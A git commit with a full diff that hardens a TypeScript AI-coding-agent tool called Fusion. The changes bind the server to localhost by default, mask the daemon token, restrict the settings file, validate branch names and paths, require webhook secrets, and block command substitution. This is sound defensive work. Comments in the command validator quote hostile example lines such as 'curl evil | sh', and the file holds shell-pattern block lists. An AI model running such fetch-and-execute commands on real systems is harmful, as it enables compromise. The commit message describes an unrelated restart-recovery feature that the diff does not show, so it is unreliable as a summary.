perf(executor): recover approved steps on engine restart

When the engine restarts mid-step, an in-progress step may have already
passed plan + code review but not yet been flipped to done by the agent's
next task_update call. Previously, the next executor pass re-entered the
step and replayed both reviews — measured at 5-20 min of pure waste per
restart (observed in FN-2215 Step 1 and FN-2207 Step 6).

recoverApprovedStepsOnResume scans the task log for any in-progress step
whose most recent "code review Step N: APPROVE" entry is newer than its
most recent "Step N → pending" transition, and marks those steps done
before execute() runs. Safely skips steps that were reset after approval
(e.g. by a workflow revision) or only received REVISE verdicts.

Called from both the engine-restart path (resumeOrphaned) and the
unpause path, matching the two places the task log shows as vulnerable
to this race.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
Fusion
2026-04-21 09:02:42 -07:00
committed by gsxdsm
parent 9033f7ada7
commit c21e6fef15
33 changed files with 414 additions and 90 deletions

7
.gitignore vendored
View File

@@ -25,6 +25,13 @@ kb.db/
# Pi
.pi/
# VS Code Local History (editor auto-saved snapshots)
.history/
# Ad-hoc task completion notes left by agents after a run; per-session scratch,
# never meant to be committed.
.DONE
# Local kb state and backups
.kb/
.fusion-backup/

View File

@@ -64,7 +64,7 @@ fn serve --interactive
| Option | Description |
|---|---|
| `--port`, `-p` | Port for the API server (default `4040`). |
| `--host` | Host to bind (default `0.0.0.0`, all interfaces). |
| `--host` | Host to bind (default `127.0.0.1`, localhost only). Pass `0.0.0.0` to expose on all interfaces. |
| `--paused` | Start with engine paused (automation disabled). |
| `--interactive` | Interactive port selection. |
| `--daemon` | Enable bearer token authentication for CLI client connections. |
@@ -82,7 +82,7 @@ fn daemon [--port <port>] [--host <host>] [--token <token>] [--paused] [--intera
| Option | Description |
|---|---|
| `--port`, `-p` | Port for the daemon server (default: auto-assigned). |
| `--host` | Host to bind (default `0.0.0.0`, all interfaces). |
| `--host` | Host to bind (default `127.0.0.1`, localhost only). Pass `0.0.0.0` to expose on all interfaces. |
| `--token` | Set a specific daemon token. If not provided, a random token is generated and printed. |
| `--paused` | Start with engine paused (automation disabled). |
| `--token-only` | Only generate/show the token without starting the server. |

View File

@@ -58,7 +58,7 @@ Defaults from `DEFAULT_GLOBAL_SETTINGS`; key scope from `GLOBAL_SETTINGS_KEYS`.
| `titleSummarizerGlobalModelId` | `string` | `undefined` | Global baseline model ID for title summarization. |
| `daemonToken` | `string` | `undefined` | Daemon authentication token (`fn_<32 hex chars>`) used by CLI clients. |
| `daemonPort` | `number` | `4040` | Port for daemon/serve mode binding. |
| `daemonHost` | `string` | `"0.0.0.0"` | Host for daemon/serve mode binding. |
| `daemonHost` | `string` | `"127.0.0.1"` | Host for daemon/serve mode binding. Defaults to localhost only; pass `"0.0.0.0"` to expose on all interfaces. |
| `settingsSyncEnabled` | `boolean` | `false` | Enable automatic settings synchronization between nodes. |
| `settingsSyncAuth` | `boolean` | `false` | Include model auth credentials in settings sync operations. |
| `settingsSyncInterval` | `number` | `900000` | Automatic sync interval in ms. Valid values: `300000`, `900000`, `1800000`, `3600000`. |

View File

@@ -88,7 +88,7 @@ Fusion also works as a standalone CLI outside of pi. See [STANDALONE.md](./STAND
## Full documentation
For architecture details, development setup, and contributor info, see the [project README](https://github.com/gsxdsm/fusion#readme).
For architecture details, development setup, and contributor info, see the [project README](https://github.com/Runfusion/Fusion#readme).
## License

View File

@@ -15,7 +15,7 @@
"skills": [
"./skill"
],
"image": "https://raw.githubusercontent.com/gsxdsm/fusion/main/demo/screenshot.png"
"image": "https://raw.githubusercontent.com/Runfusion/Fusion/main/demo/screenshot.png"
},
"publishConfig": {
"access": "public"
@@ -75,6 +75,6 @@
},
"repository": {
"type": "git",
"url": "https://github.com/gsxdsm/fusion"
"url": "https://github.com/Runfusion/Fusion"
}
}

View File

@@ -127,14 +127,15 @@ describe("build-exe-cross: --all builds all platforms", () => {
const result = spawnSync(bin, ["--help"], {
encoding: "utf-8",
timeout: 15_000,
// CI can occasionally be slow to launch freshly built native binaries.
timeout: 45_000,
});
if (hasKnownBunSqliteLimitation(result)) {
return;
}
expect(result.status).toBe(0);
expect(result.stdout).toContain("fn");
}, 20_000);
}, 60_000);
});
describe("build-exe-cross: default (no args) backward compatibility", () => {

View File

@@ -268,7 +268,7 @@ Usage:
Options:
--project, -P <name> Target a specific project (bypasses CWD detection)
--port, -p <port> Dashboard/serve port (default: 4040)
--host <host> Serve host (default: 0.0.0.0)
--host <host> Serve host (default: 127.0.0.1 — localhost only; pass 0.0.0.0 to expose)
--interactive Interactive mode (port selection for dashboard, issue selection for import)
--paused Start with engine paused (automation disabled)
--dev Start dashboard only (no AI engine)
@@ -504,7 +504,9 @@ async function main() {
const paused = args.includes("--paused");
const dev = args.includes("--dev");
const interactive = args.includes("--interactive");
await runDashboard(port, { paused, dev, interactive });
const dashHostIdx = args.indexOf("--host");
const host = dashHostIdx !== -1 && dashHostIdx + 1 < args.length ? args[dashHostIdx + 1] : undefined;
await runDashboard(port, { paused, dev, interactive, host });
break;
}

View File

@@ -670,13 +670,21 @@ describe("runDaemon", () => {
await triggerSignal("SIGINT");
});
it("prints banner with full token at startup", async () => {
it("prints banner with masked token at startup (full token never hits stdout)", async () => {
const providedToken = "fn_fulltoken12345678901234567890";
await runDaemon({ token: providedToken });
// Banner should contain the full token
expect(logSpy).toHaveBeenCalledWith(expect.stringContaining(providedToken));
// Banner should contain a MASKED form, not the raw token. The full token
// is persisted to ~/.fusion/settings.json (chmod 0600) and retrievable via
// `fn daemon --token-only` — printing it here would leak it to terminal
// scrollback and CI logs.
const allBannerArgs = logSpy.mock.calls.map((args) => String(args[0] ?? ""));
const banner = allBannerArgs.join("\n");
expect(banner).not.toContain(providedToken);
expect(banner).toContain("fn_ful");
expect(banner).toContain("7890");
expect(banner).toContain("fn daemon --token-only");
expect(logSpy).toHaveBeenCalledWith(expect.stringContaining("Fusion Daemon"));
expect(logSpy).toHaveBeenCalledWith(expect.stringContaining("bearer token required"));
@@ -701,7 +709,7 @@ describe("runDaemon", () => {
expect(mocks.listenCalls[0]).toMatchObject({
port: 0,
host: "0.0.0.0",
host: "127.0.0.1",
});
await triggerSignal("SIGINT");

View File

@@ -729,18 +729,18 @@ describe("runServe", () => {
expect(mocks.taskStores[0].close).toHaveBeenCalledTimes(1);
});
it("listens on 0.0.0.0 by default and respects a custom host", async () => {
it("listens on 127.0.0.1 by default and respects a custom host", async () => {
await runServe(3010, {});
expect(mocks.listenCalls[0]).toMatchObject({
port: 3010,
host: "0.0.0.0",
host: "127.0.0.1",
});
await triggerSignal("SIGINT");
await runServe(3020, { host: "127.0.0.1" });
await runServe(3020, { host: "0.0.0.0" });
expect(mocks.listenCalls[1]).toMatchObject({
port: 3020,
host: "127.0.0.1",
host: "0.0.0.0",
});
await triggerSignal("SIGINT");
});

View File

@@ -128,7 +128,8 @@ function maskToken(token: string): string {
export interface DaemonOptions {
/** Port to listen on (default: 0 for random port) */
port?: number;
/** Host to bind to (default: 0.0.0.0) */
/** Host to bind to (default: 127.0.0.1 — localhost only). Pass "0.0.0.0" to
* expose on all interfaces. */
host?: string;
/** Specific token to use (generated if not provided) */
token?: string;
@@ -207,7 +208,7 @@ export async function runDaemon(opts: DaemonOptions = {}) {
}
}
const selectedHost = opts.host ?? "0.0.0.0";
const selectedHost = opts.host ?? "127.0.0.1";
const cwd = await resolveRuntimeProjectPath();
// ── CentralCore: global coordination + ntfy project ID lookup ─────────
@@ -466,13 +467,16 @@ export async function runDaemon(opts: DaemonOptions = {}) {
console.warn(`[daemon] Failed to set local node online: ${message}`);
}
// Print startup banner with full token (shown once at startup)
// Print startup banner with a masked token. The full token is persisted in
// global settings (~/.fusion/settings.json, chmod 0600) and can be retrieved
// with `fn daemon --token-only` — printing it here would write the raw
// secret to terminal scrollback, CI logs, and screen-capture tools.
console.log();
console.log(` Fusion Daemon`);
console.log(` ────────────────────────`);
console.log(` → http://${selectedHost}:${actualPort}`);
console.log();
console.log(` Token: ${daemonToken}`);
console.log(` Token: ${maskToken(daemonToken)} (run "fn daemon --token-only" to retrieve)`);
console.log();
console.log(` Health: GET /api/health`);
console.log(` API: /api/* (bearer token required)`);

View File

@@ -1516,8 +1516,8 @@ describe("runDashboard — port fallback on EADDRINUSE", () => {
// Wait for async 'listening' event
await new Promise((r) => setTimeout(r, 50));
// mockListen should have been called with the requested port
expect(mockListen).toHaveBeenCalledWith(4040);
// mockListen should have been called with the requested port bound to localhost by default.
expect(mockListen).toHaveBeenCalledWith(4040, "127.0.0.1");
// Banner should show the requested port
expect(consoleSpy).toHaveBeenCalledWith(
@@ -1562,8 +1562,8 @@ describe("runDashboard — port fallback on EADDRINUSE", () => {
// Wait for async events to settle
await new Promise((r) => setTimeout(r, 100));
// Server should have retried with port 0
expect(mockServerListen).toHaveBeenCalledWith(0);
// Server should have retried with port 0, still bound to localhost.
expect(mockServerListen).toHaveBeenCalledWith(0, "127.0.0.1");
// Banner should show the fallback port, not the requested port
expect(consoleSpy).toHaveBeenCalledWith(
@@ -1888,9 +1888,9 @@ describe("runDashboard — --dev mode", () => {
// Wait for async 'listening' event
await new Promise((r) => setTimeout(r, 50));
// Server should have been created and listen called
// Server should have been created and listen called (localhost default)
expect(createServer).toHaveBeenCalled();
expect(mockListen).toHaveBeenCalledWith(4040);
expect(mockListen).toHaveBeenCalledWith(4040, "127.0.0.1");
// Banner should show the port
expect(consoleSpy).toHaveBeenCalledWith(

View File

@@ -193,7 +193,10 @@ async function resolveRuntimeProjectPath(): Promise<string> {
}
}
export async function runDashboard(port: number, opts: { paused?: boolean; dev?: boolean; interactive?: boolean; open?: boolean } = {}) {
export async function runDashboard(port: number, opts: { paused?: boolean; dev?: boolean; interactive?: boolean; open?: boolean; host?: string } = {}) {
// Default to localhost so the dashboard (and its shell-capable terminal API)
// is not exposed on the LAN. Pass --host 0.0.0.0 explicitly to opt-in.
const selectedHost = opts.host ?? "127.0.0.1";
ensureProcessDiagnostics();
// Handle interactive port selection
@@ -859,11 +862,11 @@ export async function runDashboard(port: number, opts: { paused?: boolean; dev?:
});
}
const server = app.listen(selectedPort);
const server = app.listen(selectedPort, selectedHost);
server.on("error", (err: NodeJS.ErrnoException) => {
if (err.code === "EADDRINUSE") {
server.listen(0);
server.listen(0, selectedHost);
} else {
console.error(`Failed to start server: ${err.message}`);
process.exit(1);

View File

@@ -218,7 +218,7 @@ export async function runServe(
}
}
const selectedHost = opts.host ?? "0.0.0.0";
const selectedHost = opts.host ?? "127.0.0.1";
const cwd = await resolveRuntimeProjectPath();
// ── CentralCore: global coordination + ntfy project ID lookup ─────────

View File

@@ -1,6 +1,16 @@
{
"name": "@fusion/core",
"version": "0.1.0",
"description": "Fusion core: task store, scheduler, settings, and shared domain types backing the Fusion AI coding agent.",
"homepage": "https://github.com/Runfusion/Fusion#readme",
"repository": {
"type": "git",
"url": "https://github.com/Runfusion/Fusion",
"directory": "packages/core"
},
"bugs": {
"url": "https://github.com/Runfusion/Fusion/issues"
},
"type": "module",
"exports": {
".": {

View File

@@ -15,7 +15,7 @@
import { homedir } from "node:os";
import { dirname, join } from "node:path";
import { mkdir, readFile, writeFile, rename } from "node:fs/promises";
import { mkdir, readFile, writeFile, rename, chmod } from "node:fs/promises";
import { existsSync, mkdirSync, renameSync } from "node:fs";
import type { GlobalSettings } from "./types.js";
import { DEFAULT_GLOBAL_SETTINGS } from "./types.js";
@@ -228,11 +228,24 @@ export class GlobalSettingsStore {
/**
* Atomically write settings to disk. Writes to a temp file first,
* then renames into place (atomic on POSIX).
*
* The file is written with mode 0600 (owner-only read/write) because the
* settings object can contain secrets — specifically `daemonToken`, which
* is a bearer credential for the HTTP API. POSIX-only; no-op on Windows.
*/
private async atomicWrite(settings: GlobalSettings): Promise<void> {
const tmpPath = this.settingsPath + ".tmp";
await writeFile(tmpPath, JSON.stringify(settings, null, 2));
await writeFile(tmpPath, JSON.stringify(settings, null, 2), { mode: 0o600 });
await rename(tmpPath, this.settingsPath);
// `writeFile` with `mode` honors umask on some platforms, so re-chmod the
// final path to guarantee 0600. Ignore failures (Windows has no POSIX
// permission bits; some filesystems may reject chmod).
try {
await chmod(this.settingsPath, 0o600);
} catch {
// Best effort — on Windows or filesystems without POSIX perms, the file
// is already protected by the user's home directory ACL.
}
}
/**

View File

@@ -41,7 +41,7 @@ export const DEFAULT_GLOBAL_SETTINGS = {
// Daemon mode settings
daemonToken: undefined,
daemonPort: 4040,
daemonHost: "0.0.0.0",
daemonHost: "127.0.0.1",
// Node settings sync
settingsSyncEnabled: false,
settingsSyncAuth: false,

View File

@@ -31,6 +31,53 @@ const TASK_ACTIVITY_LOG_OUTCOME_LIMIT = 4_000;
const ARCHIVE_AGENT_LOG_SNAPSHOT_LIMIT = 25;
const ARCHIVE_AGENT_LOG_SNIPPET_LIMIT = 160;
/**
* Reject branch names that would be unsafe to interpolate into a shell command.
* The allowed set is a conservative subset of git's refname rules: alphanumerics,
* `_`, `.`, `/`, `+`, and `-`, with the same leading/trailing/segment restrictions
* git enforces. Any branch that fails this check is rejected before reaching the
* shell, so no branch-name value can inject shell metacharacters.
*/
function assertSafeGitBranchName(name: string): void {
if (
!name ||
name.length > 255 ||
name.startsWith("-") ||
name.startsWith(".") ||
name.startsWith("/") ||
name.endsWith("/") ||
name.endsWith(".") ||
name.endsWith(".lock") ||
name.includes("..") ||
name.includes("@{") ||
!/^[A-Za-z0-9._/+-]+$/.test(name)
) {
throw new Error(`Unsafe git branch name: ${JSON.stringify(name)}`);
}
}
/**
* Reject filesystem paths that would be unsafe to interpolate into a shell
* command. Worktree paths are generated by fusion itself and are expected to
* be absolute, but `task.worktree` is writable via the authenticated API, so
* validate at the shell boundary as defense-in-depth.
*/
function assertSafeAbsolutePath(path: string): void {
const isAbsolute = path.startsWith("/") || /^[A-Za-z]:[\\/]/.test(path);
if (
!path ||
path.length > 4096 ||
!isAbsolute ||
path.startsWith("-") ||
// Reject shell metacharacters, quotes, control chars, and NULs.
/["'`$\n\r\t;&|<>()*?\[\]{}\\\0]/.test(
path.replace(/^[A-Za-z]:/, ""), // ignore the drive-letter colon on Windows
)
) {
throw new Error(`Unsafe path: ${JSON.stringify(path)}`);
}
}
function truncateTaskLogOutcome(outcome: string | undefined): string | undefined {
if (!outcome || outcome.length <= TASK_ACTIVITY_LOG_OUTCOME_LIMIT) {
return outcome;
@@ -2916,6 +2963,13 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
const deleted: string[] = [];
for (const branch of branches) {
try {
assertSafeGitBranchName(branch);
} catch {
// Skip branches whose names would be unsafe to pass through a shell.
// A malformed stored value should not become a command-injection vector.
continue;
}
const verify = await this.runGitCommand(`git rev-parse --verify "${branch}"`);
if (verify.exitCode !== 0) {
continue;
@@ -3034,6 +3088,9 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
const dir = this.taskDir(id);
const task = await this.readTaskJson(dir);
const branch = `fusion/${id.toLowerCase()}`;
// Branch is derived from the task id (already validated at create time),
// but assert as defense-in-depth against future id-format changes.
assertSafeGitBranchName(branch);
if (task.column === "done") {
const result: MergeResult = {
@@ -3048,6 +3105,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
const changed = this.clearDoneTransientFields(task);
if (worktreePath && existsSync(worktreePath)) {
assertSafeAbsolutePath(worktreePath);
const removeWorktree = await this.runGitCommand(`git worktree remove "${worktreePath}" --force`, 120_000);
if (removeWorktree.exitCode === 0) {
result.worktreeRemoved = true;
@@ -3130,6 +3188,7 @@ export class TaskStore extends EventEmitter<TaskStoreEvents> {
// 3. Remove worktree
if (worktreePath && existsSync(worktreePath)) {
assertSafeAbsolutePath(worktreePath);
const removeWorktree = await this.runGitCommand(`git worktree remove "${worktreePath}" --force`, 120_000);
if (removeWorktree.exitCode === 0) {
result.worktreeRemoved = true;

View File

@@ -863,7 +863,10 @@ export interface DaemonTokenSettings {
daemonToken?: string;
/** Port for daemon mode server binding. Default: 4040. */
daemonPort?: number;
/** Host for daemon mode server binding. Default: "0.0.0.0" (all interfaces). */
/** Host for daemon mode server binding. Default: "127.0.0.1" (localhost only).
* Set to "0.0.0.0" explicitly to expose the API on all interfaces — only do
* this if you understand the implications (terminal/exec endpoints become
* reachable from the LAN even with a bearer token). */
daemonHost?: string;
}
@@ -978,7 +981,10 @@ export interface GlobalSettings {
daemonToken?: string;
/** Port for daemon mode server binding. Default: 4040. */
daemonPort?: number;
/** Host for daemon mode server binding. Default: "0.0.0.0" (all interfaces). */
/** Host for daemon mode server binding. Default: "127.0.0.1" (localhost only).
* Set to "0.0.0.0" explicitly to expose the API on all interfaces — only do
* this if you understand the implications (terminal/exec endpoints become
* reachable from the LAN even with a bearer token). */
daemonHost?: string;
/** When true, enables automatic settings synchronization between nodes.
* Settings are pushed/pulled on the configured interval. Default: false. */

View File

@@ -1,6 +1,16 @@
{
"name": "@fusion/dashboard",
"version": "0.1.0",
"description": "Fusion dashboard: React UI and HTTP API server for monitoring and controlling the Fusion AI coding agent.",
"homepage": "https://github.com/Runfusion/Fusion#readme",
"repository": {
"type": "git",
"url": "https://github.com/Runfusion/Fusion",
"directory": "packages/dashboard"
},
"bugs": {
"url": "https://github.com/Runfusion/Fusion/issues"
},
"type": "module",
"exports": {
".": {

View File

@@ -33,6 +33,26 @@ const DEFAULT_PROBE_DELAY_MS = 10_000;
const DEFAULT_PROBE_HOST = "127.0.0.1";
const DEFAULT_PROBE_TIMEOUT_MS = 1_000;
/**
* Reject dev-server commands whose strings contain command-substitution
* syntax. Dev-server commands are user-configured project settings (e.g.
* `npm run dev`, `bun dev`) and are spawned with `shell: true` so users
* can chain `&&` / `|`, but command substitution (`$(...)`, backticks,
* process substitution) is never needed for a start command and is the
* main payload for a settings-file compromise. Legitimate commands don't
* need to execute a sub-command before launching the dev server.
*/
function assertSafeDevServerCommand(command: string): void {
if (/\$\(|`|<\(|>\(/.test(command)) {
throw new Error(
"Dev-server command contains command substitution ($(...), backticks, or process substitution), which is not permitted",
);
}
if (/[\0\r\n]/.test(command)) {
throw new Error("Dev-server command contains invalid control characters");
}
}
export class DevServerProcessManager extends EventEmitter {
private childProcess: ChildProcess | null = null;
private portProbeTimer: NodeJS.Timeout | null = null;
@@ -67,6 +87,7 @@ export class DevServerProcessManager extends EventEmitter {
if (safeCommand.length === 0) {
throw new Error("command is required");
}
assertSafeDevServerCommand(safeCommand);
const safeCwd = cwd.trim();
if (safeCwd.length === 0) {

View File

@@ -11093,16 +11093,26 @@ describe("Routine routes", () => {
}));
});
it("creates a routine with webhook trigger", async () => {
it("creates a routine with webhook trigger (requires secret)", async () => {
const { app, routineStore } = buildRoutineApp();
const res = await REQUEST(app, "POST", "/api/routines", JSON.stringify({
name: "Webhook Routine",
trigger: { type: "webhook", webhookPath: "/trigger/test", secret: "s".repeat(16) },
}), { "Content-Type": "application/json" });
expect(res.status).toBe(201);
expect(routineStore.createRoutine).toHaveBeenCalledWith(expect.objectContaining({
trigger: { type: "webhook", webhookPath: "/trigger/test", secret: "s".repeat(16) },
}));
});
it("rejects a webhook trigger without a secret", async () => {
const { app } = buildRoutineApp();
const res = await REQUEST(app, "POST", "/api/routines", JSON.stringify({
name: "Webhook Routine",
trigger: { type: "webhook", webhookPath: "/trigger/test" },
}), { "Content-Type": "application/json" });
expect(res.status).toBe(201);
expect(routineStore.createRoutine).toHaveBeenCalledWith(expect.objectContaining({
trigger: { type: "webhook", webhookPath: "/trigger/test" },
}));
expect(res.status).toBe(400);
expect(res.body.error).toContain("secret");
});
it("creates a routine with api trigger", async () => {
@@ -11458,7 +11468,10 @@ describe("Routine routes", () => {
return { app, routineStore, routineRunner };
}
it("triggers a webhook routine without secret", async () => {
it("rejects a webhook trigger on a routine without a secret", async () => {
// Webhook routines persisted before the secret requirement are still
// accepted as stored objects but must be refused at trigger time —
// otherwise unauthenticated callers could execute them.
const mockStore = createMockRoutineStore();
mockStore.getRoutine.mockResolvedValue({
...FAKE_ROUTINE,
@@ -11466,11 +11479,8 @@ describe("Routine routes", () => {
});
const { app, routineRunner } = buildRoutineApp(mockStore);
const res = await REQUEST(app, "POST", "/api/routines/routine-001/webhook", JSON.stringify({}), { "Content-Type": "application/json" });
expect(res.status).toBe(200);
expect(res.body.result).toBeDefined();
expect(res.body.result.triggerType).toBe("webhook");
expect(routineRunner.triggerWebhook).toHaveBeenCalled();
// Verify recordRun was NOT called (double-persist fix)
expect(res.status).toBe(401);
expect(routineRunner.triggerWebhook).not.toHaveBeenCalled();
expect(mockStore.recordRun).not.toHaveBeenCalled();
});
@@ -11516,7 +11526,7 @@ describe("Routine routes", () => {
expect(res.status).toBe(503);
});
it("accepts webhook when no secret is configured", async () => {
it("refuses webhook routines that are missing a secret", async () => {
const mockStore = createMockRoutineStore();
mockStore.getRoutine.mockResolvedValue({
...FAKE_ROUTINE,
@@ -11524,7 +11534,7 @@ describe("Routine routes", () => {
});
const { app } = buildRoutineApp(mockStore);
const res = await REQUEST(app, "POST", "/api/routines/routine-001/webhook", JSON.stringify({}), { "Content-Type": "application/json" });
expect(res.status).toBe(200);
expect(res.status).toBe(401);
});
it("returns 401 when secret is configured but signature header is missing (was 403)", async () => {
@@ -11750,16 +11760,37 @@ describe("Routine routes", () => {
// ── Additional scope regression coverage ──────────────────────
it("POST /routines/:id/webhook is scope-independent (webhooks use routine's own scope)", async () => {
// Webhooks should NOT filter by request scope params - they use the routine's own scope
// Webhooks should NOT filter by request scope params - they use the routine's own scope.
// Use a secret-configured trigger with a matching HMAC signature so the
// request passes the authentication gate regardless of scope.
const secret = "test-secret-test-secret";
const payload = JSON.stringify({});
const signature =
"sha256=" +
createHmac("sha256", secret).update(payload).digest("hex");
const mockStore = createMockRoutineStore();
mockStore.getRoutine.mockResolvedValue({
...FAKE_ROUTINE,
scope: "project" as const,
trigger: { type: "webhook" as const, webhookPath: "/trigger/test" },
trigger: { type: "webhook" as const, webhookPath: "/trigger/test", secret },
});
const { app, routineRunner } = buildRoutineApp(mockStore);
// POST to webhook WITHOUT any scope param - should work regardless of scope
const res = await REQUEST(app, "POST", "/api/routines/routine-001/webhook", JSON.stringify({}), { "Content-Type": "application/json" });
const store = createMockStore();
const routineRunner = createMockRoutineRunner();
const testApp = express();
testApp.use(express.json());
testApp.use((req, _res, next) => {
(req as any).rawBody = Buffer.from(payload);
next();
});
testApp.use("/api", createApiRoutes(store, { routineStore: mockStore as any, routineRunner }));
const res = await REQUEST(
testApp,
"POST",
"/api/routines/routine-001/webhook",
payload,
{ "Content-Type": "application/json", "x-hub-signature-256": signature },
);
expect(res.status).toBe(200);
expect(res.body.result).toBeDefined();
expect(routineRunner.triggerWebhook).toHaveBeenCalled();

View File

@@ -10391,6 +10391,17 @@ export function createApiRoutes(store: TaskStore, options?: ServerOptions): Rout
throw badRequest(`Invalid cron expression: "${trigger.cronExpression}"`);
}
}
if (trigger.type === "webhook") {
// Require an HMAC secret so the webhook endpoint authenticates callers
// via signed payloads. Without this, anyone who can reach the server
// and knows the routine id could trigger execution by sending an empty
// POST to /routines/:id/webhook.
if (typeof trigger.secret !== "string" || trigger.secret.trim().length < 16) {
throw badRequest(
"Webhook trigger requires a secret of at least 16 characters for HMAC signature verification",
);
}
}
const hasSteps = Array.isArray(steps) && steps.length > 0;
const hasCommand = typeof command === "string" && command.trim().length > 0;
if (hasSteps) {
@@ -10499,6 +10510,13 @@ export function createApiRoutes(store: TaskStore, options?: ServerOptions): Rout
throw badRequest(`Invalid cron expression: "${trigger.cronExpression}"`);
}
}
if (trigger.type === "webhook") {
if (typeof trigger.secret !== "string" || trigger.secret.trim().length < 16) {
throw badRequest(
"Webhook trigger requires a secret of at least 16 characters for HMAC signature verification",
);
}
}
}
}
if (Array.isArray(steps) && steps.length > 0) {
@@ -10688,18 +10706,25 @@ export function createApiRoutes(store: TaskStore, options?: ServerOptions): Rout
const rawBody = req.rawBody;
const signatureHeader = req.headers["x-hub-signature-256"] as string | undefined;
// If webhook secret is configured, verify the signature (auth failures return 401)
if (routine.trigger.secret) {
if (!rawBody) {
throw badRequest("Raw body not available for signature verification");
}
if (!signatureHeader) {
throw new ApiError(401, "Missing signature header");
}
const verification = verifyWebhookSignature(rawBody, signatureHeader, routine.trigger.secret);
if (!verification.valid) {
throw new ApiError(401, verification.error ?? "Invalid signature");
}
// A webhook routine without a secret is treated as a misconfiguration
// and refused. New routines require a secret at create time (see POST
// /routines), but legacy routines persisted before that validation was
// added could still reach this branch without one.
if (!routine.trigger.secret) {
throw new ApiError(
401,
"Webhook trigger is not configured with a secret; set routine.trigger.secret before use",
);
}
if (!rawBody) {
throw badRequest("Raw body not available for signature verification");
}
if (!signatureHeader) {
throw new ApiError(401, "Missing signature header");
}
const verification = verifyWebhookSignature(rawBody, signatureHeader, routine.trigger.secret);
if (!verification.valid) {
throw new ApiError(401, verification.error ?? "Invalid signature");
}
// Execute via RoutineRunner (persistence handled by RoutineRunner.completeRoutineExecution)

View File

@@ -2,6 +2,7 @@
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
import http from "node:http";
import { createHmac } from "node:crypto";
import express from "express";
import { createServer, setupTerminalWebSocket } from "./server.js";
import type { TaskStore } from "@fusion/core";
@@ -1137,11 +1138,17 @@ describe("createServer scoped scheduling resolver regressions", () => {
});
it("POST /api/routines/:id/webhook is scope-independent (uses routine's own scope)", async () => {
const secret = "test-secret-test-secret";
const payload = JSON.stringify({});
const signature =
"sha256=" +
createHmac("sha256", secret).update(payload).digest("hex");
const globalStore = createMockRoutineStore("global");
const routineRunner = createMockRoutineRunner();
globalStore.getRoutine.mockResolvedValue({
...FAKE_PROJECT_ROUTINE,
trigger: { type: "webhook" as const, webhookPath: "/trigger/test" },
trigger: { type: "webhook" as const, webhookPath: "/trigger/test", secret },
});
const store = createMockStore();
@@ -1151,7 +1158,10 @@ describe("createServer scoped scheduling resolver regressions", () => {
});
// Webhook without scope param - should work regardless of scope
const res = await REQUEST(app, "POST", "/api/routines/routine-proj-a-1/webhook", JSON.stringify({}), { "Content-Type": "application/json" });
const res = await REQUEST(app, "POST", "/api/routines/routine-proj-a-1/webhook", payload, {
"Content-Type": "application/json",
"x-hub-signature-256": signature,
});
expect(res.status).toBe(200);
expect(routineRunner.triggerWebhook).toHaveBeenCalled();

View File

@@ -379,8 +379,17 @@ export function createServer(store: TaskStore, options?: ServerOptions): ReturnT
// Only applied to the webhook route
app.use("/api/github/webhooks", express.raw({ type: "application/json" }));
// Standard JSON parsing for all other routes
app.use(express.json());
// Standard JSON parsing for all other routes.
// Preserve the raw payload buffer so signed endpoints (for example
// /api/routines/:id/webhook and settings sync proxying) can verify HMAC
// signatures and forward exact request bytes.
app.use(express.json({
verify: (req, _res, buf) => {
if (buf.length > 0) {
(req as express.Request & { rawBody?: Buffer }).rawBody = Buffer.from(buf);
}
},
}));
// Daemon mode: bearer token authentication middleware
// Auth is enabled when daemon option is provided OR FUSION_DAEMON_TOKEN env var is set

View File

@@ -87,6 +87,22 @@ const BLOCKED_PATTERNS = [
/\.\s*\/dev\/null/i, // Sourcing /dev/null tricks
];
/**
* Command-substitution patterns that would cause the shell to evaluate an
* arbitrary sub-command BEFORE the allowlist check runs (e.g. `git $(curl ... | sh)`
* evaluates to whatever the curl prints). These bypass the allowlist entirely
* regardless of which base command is used, so they must be rejected outright.
*/
const SUBSTITUTION_PATTERNS = [
/\$\(/, // $(...) — command substitution
/`/, // `...` — backtick command substitution
/<\(/, // <(...) — process substitution (bash)
/>\(/, // >(...) — process substitution (bash)
];
/** Chaining operators that let users combine commands in one request. */
const CHAIN_OPERATORS = /&&|\|\||;|(?<!\|)\|(?!\|)/;
/**
* Extracts the base command from a command string.
* Handles common prefixes like environment variables and sudo.
@@ -119,29 +135,58 @@ function extractBaseCommand(command: string): string | null {
/**
* Validates a command string against the allowlist and blocklist.
* Returns an object with validation result and error message if blocked.
*
* Three layers of defense, applied in order:
* 1. Reject command substitution (`$(...)`, backticks, process substitution),
* which would otherwise let an allowlisted base command run an arbitrary
* inner command before validation completes.
* 2. Reject known-dangerous literal patterns.
* 3. Split on chain operators (`;`, `&&`, `||`, `|`) and require *every*
* segment's base command to be in the allowlist — without this, a chain
* like `git status; curl evil | sh` would pass because only the first
* token is checked.
*/
export function validateCommand(command: string): { valid: boolean; error?: string } {
// Check for blocked patterns first (defense in depth)
// Reject command substitution outright — it bypasses the allowlist.
for (const pattern of SUBSTITUTION_PATTERNS) {
if (pattern.test(command)) {
return { valid: false, error: "Command substitution is not allowed" };
}
}
// Reject control characters and NUL bytes defensively.
if (/[\0\r\n]/.test(command)) {
return { valid: false, error: "Command contains invalid control characters" };
}
// Check for blocked patterns (defense in depth).
for (const pattern of BLOCKED_PATTERNS) {
if (pattern.test(command)) {
return { valid: false, error: "Command contains dangerous patterns and is not allowed" };
}
}
// Extract base command
const baseCommand = extractBaseCommand(command);
if (!baseCommand) {
return { valid: false, error: "Could not parse command" };
// Split on chaining operators and validate each segment. Without this, a
// chain like `git status; curl ... | sh` passes with only the first base
// command checked.
const segments = command.split(CHAIN_OPERATORS);
for (const raw of segments) {
const segment = raw.trim();
if (segment.length === 0) continue;
const baseCommand = extractBaseCommand(segment);
if (!baseCommand) {
return { valid: false, error: "Could not parse command" };
}
if (!ALLOWED_COMMANDS.has(baseCommand)) {
return {
valid: false,
error: `Command '${baseCommand}' is not in the allowed command list. Allowed commands: ${Array.from(ALLOWED_COMMANDS).sort().join(", ")}`,
};
}
}
// Check allowlist
if (!ALLOWED_COMMANDS.has(baseCommand)) {
return {
valid: false,
error: `Command '${baseCommand}' is not in the allowed command list. Allowed commands: ${Array.from(ALLOWED_COMMANDS).sort().join(", ")}`
};
}
return { valid: true };
}

View File

@@ -1,6 +1,16 @@
{
"name": "@fusion/desktop",
"version": "0.1.0",
